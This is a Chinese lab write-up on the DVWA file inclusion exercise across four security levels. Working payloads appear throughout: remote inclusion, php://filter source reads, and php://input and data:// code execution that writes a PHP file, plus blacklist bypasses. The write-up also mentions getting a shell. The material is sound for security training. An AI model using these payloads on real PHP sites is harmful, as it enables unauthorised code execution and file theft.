Low
直接通过get去传递page参数进行文件包含,没有任何过滤:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
可以直接在当前目录下新建一个hack.php并包含:
/fi/?page=hack.php
同样可以进行远程文件包含:
/fi/?page=http://www.baidu.com/robots.txt
上述两种如果都包含的是木马文件就可以尝试进行getshell。
除此之外还可以结合伪协议的应用:
php://filter伪协议进行文件读写(不用编码器会造成直接执行php代码,而无法读取出php代码内容):
/fi/?page=php://filter/convert.base64-encode/resource=hack.php
php://input伪协议进行php代码的执行:
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://input
//POST
<?php fputs(fopen('info.php','w'),'<?php phpinfo();?>')?>

然后可以直接访问:
/fi/?page=info.php
同理,data://伪协议也可以进行php代码的执行:
/fi/?page=data:text/plain,<?php phpinfo();?>
/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOz8%2b
Medium
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
对page参数进行了过滤,第二句的过滤应该是"..\\"。因为/与\均可以表示文件分割符,当然有的软件不支持。
那么这种单纯的黑名单可以双写和大小写绕过:
/fi/?page=hthttp://tp://www.baidu.com/robots.txt
/fi/?page=Http://www.baidu.com/robots.txt
High
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
fnmatch()函数:
fnmatch(string $pattern, string $string, int $flags = 0): bool
fnmatch() 检查传入的 string 是否匹配给出的 shell 统配符 pattern。
那么这一题要求我们提交的参数必须以file开头,或者就是include.php,所以可以使用file伪协议进行文件读取:
/fi/?page=file://D:\wamp\www\dvwa\vulnerabilities\fi\hack.php
//使用相对路径,直接输入文件路径即可
/fi/?page=./hack.php
可以发现这里file伪协议是可以执行php代码的:

Impossible
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
直接上白名单即可。